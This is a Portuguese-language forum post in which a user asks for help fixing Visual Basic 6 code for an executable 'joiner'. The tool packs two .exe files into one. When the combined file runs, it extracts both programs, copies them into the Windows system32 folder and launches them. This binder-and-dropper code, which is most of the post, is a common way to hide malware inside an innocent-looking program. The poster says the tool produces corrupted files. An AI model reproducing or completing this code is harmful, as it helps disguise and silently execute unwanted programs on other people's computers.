Ir para conteúdo
Fórum Script Brasil

Luciano Siqueira Marques

Membros
  • Total de itens

    1
  • Registro em

  • Última visita

Posts postados por Luciano Siqueira Marques

  1. Olá pessoal se alguém puder me ajudar com o codigo so preciso que ele salve ele quase salva mais o arquivo ta corrompido não sei mais o que fazer se algue puder fico grato..l.. segue codigo abaixo

    Private Sub Command1_Click()

    With CommonDialog1
    .FileName = Empty
    .DialogTitle = "Abrir"
    .Filter = "Arquivos executáveis (.exe)|*.exe"
    .ShowOpen
    End With
    If CommonDialog1.FileName <> Empty Then Text1.Text = CommonDialog1.FileName

    End Sub

    Private Sub Command2_Click()

    With CommonDialog1
    .FileName = Empty
    .DialogTitle = "Abrir"
    .Filter = "Arquivos executáveis (.exe)|*.exe"
    .ShowOpen
    End With
    If CommonDialog1.FileName <> Empty Then Text2.Text = CommonDialog1.FileName

    End Sub
    Private Sub Command3_Click()

    If Text1.Text = Empty Then
    MsgBox "Selecione O Primeiro Arquivo!", vbExclamation, "ERRO!"
    Exit Sub
    End If
    If Text2.Text = Empty Then
    MsgBox "Selecione O Segundo arquivo!", vbExclamation, "ERRO!"
    Exit Sub
    End If
    Call juntar 'Arqui executa a função de juntar os 2 arquivo!


    End

    End Sub

    Private Sub Command4_Click()

    MsgBox "Obrigado Por Usar Nossos Programas", vbInformation, "Sucesso"
    End

    End Sub

    Private Sub Form_Load()

    Dim data0 As String
    Dim data1 As String
    Dim data2 As String
    Open App.EXEName & ".exe" For Binary Shared As 1
    data0 = Input(LOF(1), #1)
    Close 1
    If InStr(1, data0, "***1") = 0 Then Exit Sub
    Open "1.exe" For Binary As 2
    Open "2.exe" For Binary As 3
    data1 = Mid(data0, InStr(1, data0, "***1") + 4)
    data2 = Mid(data1, InStr(1, data1, "***2") + 4)
    Put #3, , data2
    data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)
    Put #2, , data1
    Close 2
    Close 3

    FileCopy "1.exe", "C:\WINDOWS\system32\1.exe"
    FileCopy "2.exe", "C:\WINDOWS\system32\2.exe"
    Kill "1.exe"
    Kill "2.exe"
    Shell "1.exe", vbNormalFocus
    Shell "2.exe", vbNormalFocus

    End


    End Sub

    Private Sub juntar()
    Dim Data As String
    Dim data2 As String
    Open Text1.Text For Binary Shared As 1
    Open Text2.Text For Binary Shared As 2
    Data = Input(LOF(1), #1)
    data2 = Input(LOF(2), #2)
    Close 1
    Close 2

    With CommonDialog1
    .DialogTitle = "Selecione la ruta donde desea guardar el archivo"
    .Filter = "Aplicaciones EXE|*.exe"
    .ShowSave
    End With

    If Not CommonDialog1.FileName = vbNullString Then
    Open CommonDialog1.FileName For Binary As #1


    Put #1, , "***1"
    Put #1, , Data
    Put #1, , "***2"
    Put #1, , data2
    Close 1
    MsgBox "Arquivos Juntados Com Sucesso!", vbInformation, "Sucesso"
    End If
    End Sub

    Private Sub Text1_Change()

    End Sub


    Private Sub Text2_Change()

    End Sub

×
×
  • Criar Novo...